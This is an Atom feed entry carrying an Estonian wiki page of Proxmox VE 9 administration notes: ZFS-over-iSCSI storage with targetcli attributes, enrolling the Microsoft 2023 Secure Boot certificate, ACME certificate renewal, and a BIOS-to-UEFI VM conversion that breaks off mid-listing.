<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="et">
	<id>https://www.auul.pri.ee/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Imre</id>
	<title>Imre kasutab arvutit - Kasutaja kaastöö [et]</title>
	<link rel="self" type="application/atom+xml" href="https://www.auul.pri.ee/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Imre"/>
	<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/Eri:Kaast%C3%B6%C3%B6/Imre"/>
	<updated>2026-06-21T11:20:12Z</updated>
	<subtitle>Kasutaja kaastöö</subtitle>
	<generator>MediaWiki 1.39.13</generator>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4258</id>
		<title>Proxmox v. 9 kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4258"/>
		<updated>2026-06-21T10:00:23Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Üle vsock ssh kasutamine - Ubuntu 24.04 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Virtuaalne riistvara===&lt;br /&gt;
&lt;br /&gt;
Klaviatuur ja hiir&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systool -b serio&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# systool -b serio -v&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio0&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 KBD port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    err_count           = &amp;quot;0&amp;quot;&lt;br /&gt;
    extra               = &amp;quot;0&amp;quot;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0303&amp;quot;&lt;br /&gt;
    force_release       = &amp;quot;369-370&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty06pr00id00ex00&amp;quot;&lt;br /&gt;
    scroll              = &amp;quot;0&amp;quot;&lt;br /&gt;
    set                 = &amp;quot;2&amp;quot;&lt;br /&gt;
    softraw             = &amp;quot;1&amp;quot;&lt;br /&gt;
    softrepeat          = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=atkbd&lt;br /&gt;
SERIO_TYPE=06&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty06pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0303&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio1&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 AUX port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0f13&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty01pr00id00ex00&amp;quot;&lt;br /&gt;
    protocol            = &amp;quot;VirtualPS/2&amp;quot;&lt;br /&gt;
    rate                = &amp;quot;100&amp;quot;&lt;br /&gt;
    resetafter          = &amp;quot;5&amp;quot;&lt;br /&gt;
    resolution          = &amp;quot;200&amp;quot;&lt;br /&gt;
    resync_time         = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=psmouse&lt;br /&gt;
SERIO_TYPE=01&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty01pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0f13&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===remote zfs over iscsi===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* FUA (Forced Unit Access) - &lt;br /&gt;
* WCE (Write Cache Enable) -&lt;br /&gt;
* TPU (Thin Provisioning UNMAP) - &lt;br /&gt;
* TPWS (WRITE_SAME / Zeroing) -&lt;br /&gt;
* VFS (virtual file system) -&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti vaatest andmetega tegelemine&lt;br /&gt;
&lt;br /&gt;
 pve virtuaalne arvuti -&amp;gt; pve füüsiline arvuti -&amp;gt; over-iscsi-zfs-storage-server&lt;br /&gt;
&lt;br /&gt;
Sõltuvalt qemu virtuaalse arvuti virtuaalse plokkseadme 'Cache' seadistustest on võimalik erinevate cache komplektide-kombinatsioonide kasutamine andmete liikumisel virtuaalses arvutis töötava protsessi juurest zfs storage serveri füüsilisele plokkseadmele. Tundub, et 2025 aastal on kõige keskmisemale kasutusele sobiv valik 'Cache: nocache'&lt;br /&gt;
&lt;br /&gt;
* hea jõudlus&lt;br /&gt;
* hea terviklus&lt;br /&gt;
&lt;br /&gt;
Andmete liikumise teekond&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti rakendus&lt;br /&gt;
* virtuaalse arvuti vfs failisüsteem&lt;br /&gt;
* virtuaalse arvuti page cache (vfs'ga seotud)&lt;br /&gt;
* virtuaalse arvuti ext4 failisüsteem (ext4 draiver)&lt;br /&gt;
* virtuaalse arvuti lvm&lt;br /&gt;
* virtuaalse arvuti fdisk partitsioonid&lt;br /&gt;
* virtuaalse arvuti virtuaalne sata vms kontroller&lt;br /&gt;
* füüsilise arvuti qemu protsess&lt;br /&gt;
* füüsilise arvuti open-iscsi poolt teostatud /dev/sda scsi plokkseade (puudub cache)&lt;br /&gt;
* füüsilises arvutis storage'ga seotud cache puudub&lt;br /&gt;
* storage arvuti targetcli (puutub cache)&lt;br /&gt;
* storage arvuti zfs ressurss (sisaldab zfs cache)&lt;br /&gt;
* storage avuti füüsilise plokkseadme controller-cache&lt;br /&gt;
&lt;br /&gt;
'Cache: nocache' parameeter on üks vähestest parameetritest, mis avaldab mõju nö mõlemas suunas&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti seest kasutada olevale storage ressursile&lt;br /&gt;
* kuidas füüsilise arvuti sees virtuaalsele arvutile vastav qemu protsess kasutab allolevat plokkseadet&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis kirjeldatakse nelja komponendi seadistamist&lt;br /&gt;
&lt;br /&gt;
* virtuaalsele arvutile vastav qemu protsess&lt;br /&gt;
* iscsi initiator&lt;br /&gt;
* iscsi target&lt;br /&gt;
* zfs lahendus&lt;br /&gt;
&lt;br /&gt;
====zfs lahendus iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
Füüsilised kettad on kasutusel nö kõige tavalisemal viisil, eriti tähendab see, et ketastel on sisselülitatud nö tavaline controller-cache&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# lsscsi -s | grep 4.00T&lt;br /&gt;
[2:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdc   4.00TB&lt;br /&gt;
[3:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdd   4.00TB&lt;br /&gt;
[N:0:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme0n1  4.00TB&lt;br /&gt;
[N:1:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme1n1  4.00TB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs lülituse moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat create-zpool-raidz1-x4.sh&lt;br /&gt;
zpool create -o ashift=13 zp_data raidz1 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FE58 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FF7B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501827B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501856Z&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs cache töötab tavalisel viisil, st on sisse lülitatud olekus, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# zfs get all | grep -i cache | grep vm-106-disk-0&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     primarycache          all                     default&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     secondarycache        all                     default&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====targetcli iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
targetcli seadistamine koosneb kahest tegevusest&lt;br /&gt;
&lt;br /&gt;
* zfs põhise alus-storage storage publitseerimine&lt;br /&gt;
* publitseerimisel sobivalt scsi protokolli parameetrite kasutamine (eriti cache, sparse jms esitamine)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/&amp;gt; /iscsi create iqn.2025-10.moraal.srv:storage.zfstarget&lt;br /&gt;
/&amp;gt; /iscsi/iqn.2025-10.moraal.srv:storage.zfstarget/tpg1/acls  create iqn.1993-08.org.debian:01:4cbe32bd26b&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sobiv seadistus, mis tuleb plokk-ressursi jaoks kehtestada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli /backstores/block/zp_crucial_mx_4-vm-108613-disk-4 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
alua_support=1&lt;br /&gt;
block_size=512&lt;br /&gt;
emulate_3pc=1&lt;br /&gt;
emulate_caw=1&lt;br /&gt;
emulate_dpo=1&lt;br /&gt;
emulate_fua_read=1&lt;br /&gt;
emulate_fua_write=1&lt;br /&gt;
emulate_model_alias=1&lt;br /&gt;
emulate_pr=1&lt;br /&gt;
emulate_rest_reord=0&lt;br /&gt;
emulate_rsoc=1&lt;br /&gt;
emulate_tas=1&lt;br /&gt;
emulate_tpu=0&lt;br /&gt;
emulate_tpws=0&lt;br /&gt;
emulate_ua_intlck_ctrl=0&lt;br /&gt;
emulate_write_cache=0&lt;br /&gt;
enforce_pr_isids=1&lt;br /&gt;
force_pr_aptpl=0&lt;br /&gt;
hw_block_size=512 [ro]&lt;br /&gt;
hw_max_sectors=32768 [ro]&lt;br /&gt;
hw_pi_prot_type=0 [ro]&lt;br /&gt;
hw_queue_depth=128 [ro]&lt;br /&gt;
is_nonrot=1&lt;br /&gt;
max_unmap_block_desc_count=1&lt;br /&gt;
max_unmap_lba_count=131072&lt;br /&gt;
max_write_same_len=65535&lt;br /&gt;
optimal_sectors=32768&lt;br /&gt;
pgr_support=1&lt;br /&gt;
pi_prot_format=0&lt;br /&gt;
pi_prot_type=0&lt;br /&gt;
pi_prot_verify=0&lt;br /&gt;
queue_depth=128&lt;br /&gt;
submit_type=0&lt;br /&gt;
unmap_granularity=8&lt;br /&gt;
unmap_granularity_alignment=0&lt;br /&gt;
unmap_zeroes_data=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Muudatuse tegemine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpws=0&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpu=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli&lt;br /&gt;
targetcli shell version 2.1.53&lt;br /&gt;
Copyright 2011-2013 by Datera, Inc and others.&lt;br /&gt;
For help on commands, type 'help'.&lt;br /&gt;
&lt;br /&gt;
/&amp;gt; ls&lt;br /&gt;
o- / ......................................................................................................................... [...]&lt;br /&gt;
  o- backstores .............................................................................................................. [...]&lt;br /&gt;
  | o- block .................................................................................................. [Storage Objects: 3]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-100-disk-0 ......................... [/dev/zp_crucial_mx_4/vm-100-disk-0 (20.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-106-disk-5 ......................... [/dev/zp_crucial_mx_4/vm-106-disk-5 (16.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-108613-disk-1 .................... [/dev/zp_crucial_mx_4/vm-108613-disk-1 (4.0GiB) write-thru activated]&lt;br /&gt;
  | |   o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | |     o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | o- fileio ................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- pscsi .................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- ramdisk ................................................................................................ [Storage Objects: 0]&lt;br /&gt;
  o- iscsi ............................................................................................................ [Targets: 1]&lt;br /&gt;
  | o- iqn.2025-10.moraal.srv:storage.zfstarget .......................................................................... [TPGs: 1]&lt;br /&gt;
  |   o- tpg1 ............................................................................................... [no-gen-acls, no-auth]&lt;br /&gt;
  |     o- acls .......................................................................................................... [ACLs: 1]&lt;br /&gt;
  |     | o- iqn.1993-08.org.debian:01:4cbe32bd26b ................................................................ [Mapped LUNs: 3]&lt;br /&gt;
  |     |   o- mapped_lun0 ...................................................... [lun0 block/zp_crucial_mx_4-vm-108613-disk-1 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun1 ......................................................... [lun1 block/zp_crucial_mx_4-vm-106-disk-5 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun2 ......................................................... [lun2 block/zp_crucial_mx_4-vm-100-disk-0 (rw)]&lt;br /&gt;
  |     o- luns .......................................................................................................... [LUNs: 3]&lt;br /&gt;
  |     | o- lun0 .............. [block/zp_crucial_mx_4-vm-108613-disk-1 (/dev/zp_crucial_mx_4/vm-108613-disk-1) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun1 .................... [block/zp_crucial_mx_4-vm-106-disk-5 (/dev/zp_crucial_mx_4/vm-106-disk-5) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun2 .................... [block/zp_crucial_mx_4-vm-100-disk-0 (/dev/zp_crucial_mx_4/vm-100-disk-0) (default_tg_pt_gp)]&lt;br /&gt;
  |     o- portals .................................................................................................... [Portals: 1]&lt;br /&gt;
  |       o- 0.0.0.0:3260 ..................................................................................................... [OK]&lt;br /&gt;
  o- loopback ......................................................................................................... [Targets: 0]&lt;br /&gt;
  o- srpt ............................................................................................................. [Targets: 0]&lt;br /&gt;
  o- vhost ............................................................................................................ [Targets: 0]&lt;br /&gt;
  o- xen-pvscsi ....................................................................................................... [Targets: 0]&lt;br /&gt;
/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks saab portaali käest küsida attribute ja parameter komplekte, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get parameter | grep =&lt;br /&gt;
======================&lt;br /&gt;
AuthMethod=CHAP&lt;br /&gt;
DataDigest=CRC32C,None&lt;br /&gt;
DataPDUInOrder=Yes&lt;br /&gt;
DataSequenceInOrder=Yes&lt;br /&gt;
DefaultTime2Retain=20&lt;br /&gt;
DefaultTime2Wait=2&lt;br /&gt;
ErrorRecoveryLevel=0&lt;br /&gt;
FirstBurstLength=65536&lt;br /&gt;
HeaderDigest=CRC32C,None&lt;br /&gt;
IFMarkInt=Reject&lt;br /&gt;
IFMarker=No&lt;br /&gt;
ImmediateData=Yes&lt;br /&gt;
InitialR2T=Yes&lt;br /&gt;
MaxBurstLength=262144&lt;br /&gt;
MaxConnections=1&lt;br /&gt;
MaxOutstandingR2T=1&lt;br /&gt;
MaxRecvDataSegmentLength=8192&lt;br /&gt;
MaxXmitDataSegmentLength=262144&lt;br /&gt;
OFMarkInt=Reject&lt;br /&gt;
OFMarker=No&lt;br /&gt;
TargetAlias=LIO Target&lt;br /&gt;
&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
authentication=1&lt;br /&gt;
cache_dynamic_acls=0&lt;br /&gt;
default_cmdsn_depth=64&lt;br /&gt;
default_erl=0&lt;br /&gt;
demo_mode_discovery=1&lt;br /&gt;
demo_mode_write_protect=1&lt;br /&gt;
fabric_prot_type=0&lt;br /&gt;
generate_node_acls=0&lt;br /&gt;
login_keys_workaround=1&lt;br /&gt;
login_timeout=15&lt;br /&gt;
prod_mode_write_protect=0&lt;br /&gt;
t10_pi=0&lt;br /&gt;
tpg_enabled_sendtargets=1&lt;br /&gt;
root@pm60-trt:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* parameter - võrgus kõneldavad asjad&lt;br /&gt;
* attribute - lokaalselt olukorda määratlevad asjad&lt;br /&gt;
&lt;br /&gt;
====iscsi initiator====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====qemu protsess====&lt;br /&gt;
&lt;br /&gt;
Kasutamine&lt;br /&gt;
&lt;br /&gt;
[[Fail:20251019-remote-zfs-over-iscsi-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Secure boot - nn Microsoft 2023 sertifikaat===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Olemasolev olukord enne muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-01:~# apt-get install efitools&lt;br /&gt;
root@pwrk-01:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatus====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
skipping - OS type is neither Windows 10 nor Windows 11&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype win10&lt;br /&gt;
root@pve-wrx90e:~# qm enroll-efi-keys 902198&lt;br /&gt;
root@pve-wrx90e:~# qm set 902198 --ostype l26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&lt;br /&gt;
to&lt;br /&gt;
&lt;br /&gt;
efidisk0: si-dpool:vm-902198-disk-0,efitype=4m,ms-cert=2023w,pre-enrolled-keys=1,size=1M&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Uus olukord peale muudatust====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# (printf &amp;quot;db: \n&amp;quot;; efi-readvar -v db; printf &amp;quot;\nKEK: \n&amp;quot;; efi-readvar -v KEK) | grep -E &amp;quot;2011|2023&amp;quot;&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Windows Production PCA 2011&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation UEFI CA 2011&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Microsoft UEFI CA 2023&lt;br /&gt;
            C=US, O=Microsoft Corporation, CN=Windows UEFI CA 2023&lt;br /&gt;
            C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation KEK CA 2011&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====WebGUI abil====&lt;br /&gt;
&lt;br /&gt;
WebGUI abil vm sertifikaat muudatus&lt;br /&gt;
&lt;br /&gt;
 Disk Action -&amp;gt; Enroll Updated Certificates&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260611-pve-ms-cert-2023-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====pveupdate====&lt;br /&gt;
&lt;br /&gt;
* uuendab webgui liidese sertifikaadi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveupdate&lt;br /&gt;
Loading ACME account details&lt;br /&gt;
Placing ACME order&lt;br /&gt;
Order URL: https://acme-v02.api.letsencrypt.org/acme/order/2232348225/504476182801&lt;br /&gt;
&lt;br /&gt;
Getting authorization details from 'https://acme-v02.api.letsencrypt.org/acme/authz/2232348225/694056506271'&lt;br /&gt;
The validation for pve-wrx90e.auul.pri.ee is pending!&lt;br /&gt;
Setting up webserver&lt;br /&gt;
Triggering validation&lt;br /&gt;
Sleeping for 5 seconds&lt;br /&gt;
Status is 'valid', domain 'pve-wrx90e.auul.pri.ee' OK!&lt;br /&gt;
&lt;br /&gt;
All domains validated!&lt;br /&gt;
&lt;br /&gt;
Creating CSR&lt;br /&gt;
Checking order status&lt;br /&gt;
Order is ready, finalizing order&lt;br /&gt;
valid!&lt;br /&gt;
&lt;br /&gt;
Downloading certificate&lt;br /&gt;
Setting pveproxy certificate and key&lt;br /&gt;
Restarting pveproxy&lt;br /&gt;
Revoking old certificate&lt;br /&gt;
Revoke request to CA failed: Error: POST to https://acme-v02.api.letsencrypt.org/acme/revoke-cert&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;type&amp;quot;: &amp;quot;urn:ietf:params:acme:error:unauthorized&amp;quot;,&lt;br /&gt;
  &amp;quot;detail&amp;quot;: &amp;quot;Unable to revoke :: Certificate is expired&amp;quot;,&lt;br /&gt;
  &amp;quot;status&amp;quot;: 403&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pveupgrade====&lt;br /&gt;
&lt;br /&gt;
* uuendab süsteemi apt paketihaldusega tarkvara&lt;br /&gt;
&lt;br /&gt;
===BIOS arvuti teisendamine UEFI arvutiks===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Peamised kaalutlused BIOS arvuti teisendamisel UEFI arvutiks&lt;br /&gt;
&lt;br /&gt;
* vajadus saada osa secure boot lahendusega kaasnevast turvalisusest&lt;br /&gt;
* nö täieline reinstall oleks liiga aeganõudev, kohmakas jne&lt;br /&gt;
&lt;br /&gt;
Muudatus seisneb virtuaalsele arvutile täiendava nö esimese plokkseadme lisamisel, suurusega 1 G. Sinna moodustatakse gpt partitsioonitabel ning vfat failisüsteem, ja ta vastab nö kataloogile /boot/efi, sinna ta ka monteeritakse kokkuvõttes. Juurfailisüsteem ja muu jääb sinna kus ta seni on olnud. Oluline on, et muudatuse käigus ei muudeta olemasoleva plokkseadme partitsioonitabelit ega lvm vms, st ebaõnnestumisel saab pöörduda tagasi kergesti (varundus peaks aga siiski olema olemas).&lt;br /&gt;
&lt;br /&gt;
====Muudatuse protseduur====&lt;br /&gt;
&lt;br /&gt;
Enne muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-01.png|700px]]&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -T -h -t ext4&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisatakse töötavale arvutile 1 g plokkseade&lt;br /&gt;
&lt;br /&gt;
 Hardware -&amp;gt; Add disk -&amp;gt; ...&lt;br /&gt;
&lt;br /&gt;
Veendutakse, mis on konkreetsel juhtumil 1 g lisatud plokkseadme nimi, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdb -l&lt;br /&gt;
Disk /dev/vdb: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
edasi käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install parted&lt;br /&gt;
&lt;br /&gt;
# parted /dev/vdb mklabel gpt&lt;br /&gt;
# parted /dev/vdb mkpart primary fat32 1MiB 100%&lt;br /&gt;
# parted /dev/vdb set 1 esp on&lt;br /&gt;
# mkfs.vfat -F 32 /dev/vdb1&lt;br /&gt;
# mkdir -p /boot/efi&lt;br /&gt;
# blkid /dev/vdb1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muuta /etc/fstab faili, st lisada üks rida olemaoleva /boot rea alla, uuid on mitte partitsiooni, aga vfat failisüsteemi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/fstab&lt;br /&gt;
..&lt;br /&gt;
UUID=XXXX-XXXX  /boot/efi       vfat    defaults        0       2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl daemon-reload&lt;br /&gt;
# mount /boot/efi&lt;br /&gt;
# apt update&lt;br /&gt;
# apt install grub-efi-amd64-signed shim-signed mokutil&lt;br /&gt;
# grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=debian --removable&lt;br /&gt;
# update-grub&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# find /boot/efi/ -type f -ls&lt;br /&gt;
      115    932 -rwxr-xr-x   1 root     root       952384 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.EFI&lt;br /&gt;
      116   2624 -rwxr-xr-x   1 root     root      2685544 mai   17 12:00 /boot/efi/EFI/BOOT/grubx64.efi&lt;br /&gt;
      117    832 -rwxr-xr-x   1 root     root       851368 mai   17 12:00 /boot/efi/EFI/BOOT/mmx64.efi&lt;br /&gt;
